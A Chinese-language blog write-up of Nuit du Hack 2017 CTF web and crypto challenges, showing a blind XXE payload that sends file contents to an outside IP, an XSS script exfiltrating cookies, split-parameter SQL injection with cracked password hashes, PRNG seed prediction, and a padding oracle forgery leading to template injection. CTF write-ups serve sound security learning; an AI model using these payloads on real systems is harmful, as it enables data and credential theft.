Nuit du hack 2017 web&crypto Writeup

新博客地址:http://bendawang.site/article/Nuit-du-hack-2017-web-and-crypto-Writeup(ps:短期内csdn和新博客会同步更新)

眼看着三月份过完了,第一次感觉这个月打了好多比赛啊,完全没有足够的时间让我静下来好好学点知识,几次比赛打下来,还是发现自己很多很多问题,很多基础知识打得不牢靠,另外也有很多东西想学,好几场的比赛加上复习四月初的考试,真是报警了,明显感觉自己开始有点浮躁了,状态不行。等四月份考完试,静下来认真学点东西。

web-75 No Pain No Gain

进去发现是一个上传页面,上传csv,进行转换,fuzz时候得到过这样的错误

所以猜测是xxe,
然后尝试一波之后没有想法,一直都报错,后来才知道,报错是没关系的,因为已经执行了,所以是一个blind xxe
我之前学习xxe的时候也做了笔记,传送门:http://bendawang.site/article/XXE-Injection%E7%AC%94%E8%AE%B0

然后直接用里面的payload改一该就好了,这里我们一般不读/etc/passwd,一般读/etc/hosts,提交的文件内容如下:

<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"><!ENTITY % xxe SYSTEM "http://104.160.43.154:8000/evil.dtd"> %xxe;%send; ]>
<!-- Invitations -->
id,name,email

然后vps上的evil.dtd内容如下:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://104.160.43.154:8000/xss/?file=%file;'>"
>
%all;

成功获取到hosts的内容,那么开始寻找flag,找到死都没找到,最后蛋总说是在/home/flag/flag里面,除了伏地膜之外我还能干啥…orz…..
最后截图如下:

web-100 Slumdog Millionaire

从题目获取代码如下:

#!/usr/bin/python2.7import randomimport config
import utilsrandom.seed(utils.get_pid())
ngames = 0def generate_combination():numbers = ""for _ in range(10):rand_num = random.randint(0, 99)if rand_num < 10:numbers += "0"numbers += str(rand_num)if _ != 9:numbers += "-"return numbersdef reset_jackpot():random.seed(utils.get_pid())utils.set_jackpot(0)ngames = 0def draw(user_guess):ngames += 1if ngames > config.MAX_TRIES:reset_jackpot()winning_combination = generate_combination()if winning_combination == user_guess:utils.win()reset_jackpot()

查看之后发现很简单,要是我们知道了seed即那个进程的pid,那么就能预测所有的组合,所以先在网页随便输入一串东西,然后得到第一次的正确答案,这里我得到的是56-08-50-98-94-51-01-75-63-61
然后运行如下代码就好了

import randomdef generate_combination():numbers = ""for _ in range(10):rand_num = random.randint(0, 99)if rand_num < 10:numbers += "0"numbers += str(rand_num)if _ != 9:numbers += "-"return numbers
seed=0
for i in xrange(1,10000):random.seed(i)ret = generate_combination()print retif (ret == '56-08-50-98-94-51-01-75-63-61'):print 'find',iseed=ibreak
random.seed(seed)
ans=generate_combination()
ans=generate_combination()
print ans

得到ans提交就拿到flag了

web-120 Divide and rule

首先点进去是个登陆页面,

然后去search那儿找东西
发现那一堆查询参数是存在注入的,随便加个单引号就不返回值了。
然后尝试联合查询发现还是不返回,后来想到这么多参数很可能是长度受了限制,然后就分开来,最后测试成功,如下:

firstname='union select/*&lastname=*/1,2,3,4,5,6#&position=&country=123&gender=

但是有一个问题就是,长度限制后来测出来好像是15,这样子没办法查表名和列名之类的,因为information_schema太长了。
后来脑洞了一下猜到表名是users
然后根据初始登录页面的name猜到字段名分别是loginpassword

firstname='union select/*&lastname=*/login/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=firstname='union select/*&lastname=*/password/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=

得到三个用户名和三个md5的密码值,MD5解密之后登陆就拿到flag了

#三个用户名
ruleradmin
patrick
raoul#三个密码
04fc95a5debc7474a84fad9c50a1035d #smart1985
db6eab0550da4b056d1a33ba2e8ced66 #1badgurl
7ac89e3c1f1a71ee19374d7e8912714b #1badboy

web-200 Purple Posse Market

进去之后研究半天,发现有一个contact页面可以提交一些东西,然后其他好像也没有太多用,题目描述让拿到管理员的IBAN账户。那多半是xss拿到cookie登陆后台了,然后在评论这里尝试提交,发现根本没有过滤,下面代码直接就能返回

<script src="http://你的xss平台"></script>

刚开始做的时候bot巨慢无比。。10多分钟才打回来知道没有过滤,白白浪费我半天,后来突然就变快了。。。僵硬。。
回到题目,既然没有过滤,那么直接执行js就好了,提交如下:

<script src="http://你的网址/requests.js"></script>

然后这个request.js这样写的

$.get("http://你的xss平台?a="+document.cookie,function(data,status){})

截图如下:

登陆进去就能看到IBAN账户,这就是flag了。

web-250 WhyUNoKnock

crypto-250 MarkIsFaillingDownDrunk

进去之后随便点一个,发现链接变成这个

http://markisfaillingdowndrunk.quals.nuitduhack.com/view/deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

这一看都不用想,80%是padding oracle
然后开始写代码,先把他的几串东西的明文搞出来,代码如下:

import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):result=requests.get(url+param)#print result.contentreturn resultdef xor(a, b):print "length",len(a),len(b)return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])def pad(string,N):l=len(string)if l!=N:return string+chr(N-l)*(N-l)def padding_oracle(N,cipher): ##return middleget=""for i in xrange(1,N+1):for j in xrange(0,256):padding=xor(get,chr(i)*(i-1))c=chr(0)*(16-i)+chr(j)+padding+cipherprint c.encode('hex')result=inject(c.encode('hex'))if result.status_code!=500:print jget=chr(j^i)+getbreakreturn get
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):c=[]str1=s[i].decode('hex')#print s[i]#print str1for j in xrange(0,len(str1),N):c.append(str1[j:j+N])l=len(c)print lp=[""]*lfor j in xrange(l-1,0,-1):middle=padding_oracle(N,c[j])print "========================middle================================"print jprint middle.encode('hex')p[j]=xor(middle,c[j-1])print p[j]print "==========================plain==============================="print iprint pans.append(p)
print ans

服务器真是慢的我想日狗了,做了那么多padding oracle,从来没有遇到这么慢的服务器好吧。。。平均一个一分钟,一组就是16分钟,光跑第一串出来就用了n久。。。
然后我是开了两个程序顺序反序一起跑,把第一串和第四串跑出来是个这样的东西,

1:https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x104:https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02

访问一下,内容是这个

# Welcome to MarkParser !
## This is a simple Markdown test.Test for dynamic rendering :[{{ config['WEBSITE_NAME'] }}](/)

再看看它网页的内容

这样就很明白了,
也就是说他的view后面直接跟的链接。他会读取链接的内容,然后进行markdown转换,然后在进行模板渲染。
所以接下来的思路也就很明确很简单了,让它访问我们的网站预先放好的md,然后就是个ssti了,通过一些奇怪姿势找到执行命令或是读取文件的函数就行了。
这里由于有了第四个链接,所以我构造一个目录如下:

第四个密文对应明文: https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02
我的网页         : http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README\x02\x02

最后一组明文和他密文解密出来的一样,这样我就可以维持最后一个分组密文以及倒数第二个分组的密文不变了。然后依次通过padding oracle获取中间值,与构造的密文异或得到构造的密文,从而得到我的网址对应的密文
至于具体padding oracle伪造明文的原理这里不赘述了,可以去看我之前的博客或是直接私聊我。
代码如下:

import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):result=requests.get(url+param)#print result.contentreturn resultdef xor(a, b):print "length",len(a),len(b)return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])def pad(string,N):l=len(string)if l!=N:return string+chr(N-l)*(N-l)def padding_oracle(N,cipher): ##return middleget=""for i in xrange(1,N+1):for j in xrange(0,256):padding=xor(get,chr(i)*(i-1))c=chr(0)*(16-i)+chr(j)+padding+cipherprint c.encode('hex')result=inject(c.encode('hex'))if result.status_code!=500:print jget=chr(j^i)+getbreakreturn get
'''
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):c=[]str1=s[i].decode('hex')#print s[i]#print str1for j in xrange(0,len(str1),N):c.append(str1[j:j+N])l=len(c)print lp=[""]*lfor j in xrange(l-1,0,-1):middle=padding_oracle(N,c[j])print "========================middle================================"print jprint middle.encode('hex')p[j]=xor(middle,c[j-1])print p[j]print "==========================plain==============================="print iprint pans.append(p)
print ans
''''''
1    :   https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10
2    :
3    :
4    :   https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02
myans:   http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README\x02\x02'''cipher=["deadbeefcafedeadbeefcafe04030201","52208110d1a06ce628ff8e10f4cbc1aa","96ac276f57b6d80e50df1050c455fdf4","40d56ae51399ceb30b5b69153ddc2302","19e3f662023665e8885c90867b8c3a02"]
middle=['b6d9ca9fb9c4f182cc8ebdd0636a7669','2742f463b4d20f89468beb7e80e5a2c5','fb8343033ec2a22120a67322bd25899b','6fb80b9667fcbc9c591e285170992100']
ans   =["http://104.160.4","3.154:8000/xxxxx","xxxxxxxxxxxxxxxx","/master/README\x02\x02"]tmp_ans=[""]*5tmp_ans[4]=cipher[4]
tmp_ans[3]=cipher[3]
tmp_middle=middle[2].decode('hex')
tmp_ans[2]=xor(ans[2],tmp_middle).encode("hex")tmp_middle=padding_oracle(N,tmp_ans[2].decode("hex"))
print tmp_middle.encode('hex')   #"9d41e1434f05be3bea284b8d2eb8928b".decode('hex')tmp_ans[1]=xor(ans[1],tmp_middle).encode("hex")
tmp_middle=padding_oracle(N,tmp_ans[1].decode("hex"))
print tmp_middle.encode('hex')   #"c05b49fef1d14b17aa0dd98a591ea57f".decode('hex')tmp_ans[0]=xor(ans[0],tmp_middle).encode("hex")
view="".join(i for i in tmp_ans)
print view
#a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

通过上述代码,我得到我的这个链接http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README对应的密文是

a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

然后我修改我的网站的README的内容为

注意下我的这个内容外面包了两个反撇号,因为我们刚才说了,他会读取链接的内容,然后进行markdown转换,然后在进行模板渲染。markdown,转换在先,很多我们需要用的符号在markdown里面都有特殊语义会被转换,加上这两个反撇号就好了。
然后尝试访问

http://markisfaillingdowndrunk.quals.nuitduhack.com/view/a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

结果如下:

成功了,
好的,接下来就找出SSTI的payload执行一波命令,发现失败了,经过一番测试才知道题目用的环境是python3,而平时做的题目之类的都是python2,那么开始在python3下面寻找姿势。
找了n久n久,终于找到了
最后payload如下:

直接访问得到flag如下:

Nuit du hack 2017 webcrypto Writeup相关推荐

  1. CTF 音频隐写 大总结

    赛题概览 Nuit du Hack CTF Qualifications: Here, kitty kitty! 环境 Windows 考察点 WAV音频文件隐写术 Python基础 密码学 工具 A ...

  2. CTF网络安全大赛介绍

    赛事介绍 CTF竞赛模式分为以下三类: 一.解题模式(Jeopardy)在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛.信息学奥赛比较类似,以解决 ...

  3. [DEFCON全球黑客大会] CTF(Capture The Flag)

    copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...

  4. 2013年全球重要黑客大会一览

    摘要:一大群极具破坏性的人聚集在一起会干什么?这种情况一般不会发生,因为极具破坏性的人一般都不聚会.但这事放在网络上就不一样了,"黑客"们就是既有破坏性又喜欢相互较劲的一个群体.为 ...

  5. [CTF]Capture The Flag -- 夺旗赛

    CTF(Capture The Flag) 简单介绍 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式. `In co ...

  6. Go社区的2017回顾

    今天是2017年的最后一天,首先感谢屏幕前的你,感谢一路来对于我们Go社区的支持,让我们Go中国社区成为国际上最活跃的社区,今天放假和大家一起回顾一下我们社区这一年来的发展. 首先我们看一下目前中国社 ...

  7. LAMP-----3、配置apache实现与php的整合

    ###########接下来配置apache httpd.conf来支持php#### [root@web02 php-5.3.27]# cd /application/apache/conf/ [r ...

  8. 【Paper】Deep Learning for Anomaly Detection:A survey

    论文原文:PDF 论文年份:2019 论文被引:253(2020/10/05) 922(2022/03/26) 文章目录 ABSTRACT 1 Introduction 2 What are anom ...

  9. Day 10 - Anticipation | RIPS 2017 PHP代码安全审计挑战(RIPSTECH PRESENTS PHP SECURITY CALENDAR)/ Writeup

    RIPSTECH PRESENTS PHP SECURITY CALENDAR 是由 RIPS 团队出品的PHP代码安全审计挑战系列题目,RIPSTECH PRESENTS PHP SECURITY ...

最新文章

  1. onSaveInstanceState与onRestoreInstance
  2. Spring Security源码分析八:Spring Security 退出
  3. 企业级闪存弥补数据经济价值短板
  4. centos mysql 设置_CentOS下MySql优化及安全设置centos
  5. Metal之实现视频采集与实时渲染
  6. python教授_Python为何如此优秀?斯坦福教授告诉你!
  7. 数据分析究竟有没有价值?看完这个案例你就明白了
  8. IE6 Hotfix MS-042将导致其Crash!
  9. linux下DNS服务器的搭建
  10. 编译原理语义分析代码_Pix2Pix原理分析与代码解读
  11. ssh远程访问失败 Centos7
  12. docker elasticsearch安装
  13. windows时间设置
  14. RestClient的简单介绍
  15. 计算机函数年龄怎么解决,使用Excel函数计算年龄的三种方法
  16. 【base】串行口RS232的接口定义
  17. 三星研究院:发现腾讯的“阿喀琉斯之踵”,互联网营销
  18. python-普通pdf的添加水印
  19. arcgis在配合数据驱动下制作动态表格及生成拐点坐标表
  20. matlab用三角分解法解函数

热门文章

  1. 使用JavaScrip实现简单问卷星快速生成自定义数据
  2. 区域/AZ以及AWS各类服务级别
  3. BPM流程引擎功能对比
  4. beautiful_sky(Bugku)
  5. qt android png透明,Qt处理照片实现白色背景转透明
  6. [深度学习论文笔记]Knowledge distillation from multi-modal to mono-modal segmentation networks从多模态到单模态分割的知识提取
  7. Unity - 计算两个向量之间的夹角
  8. 数据挖掘(python实现)—认识数据
  9. 回头再说说音乐--江湖笑 周华健
  10. Java学习笔记-多态的具体体现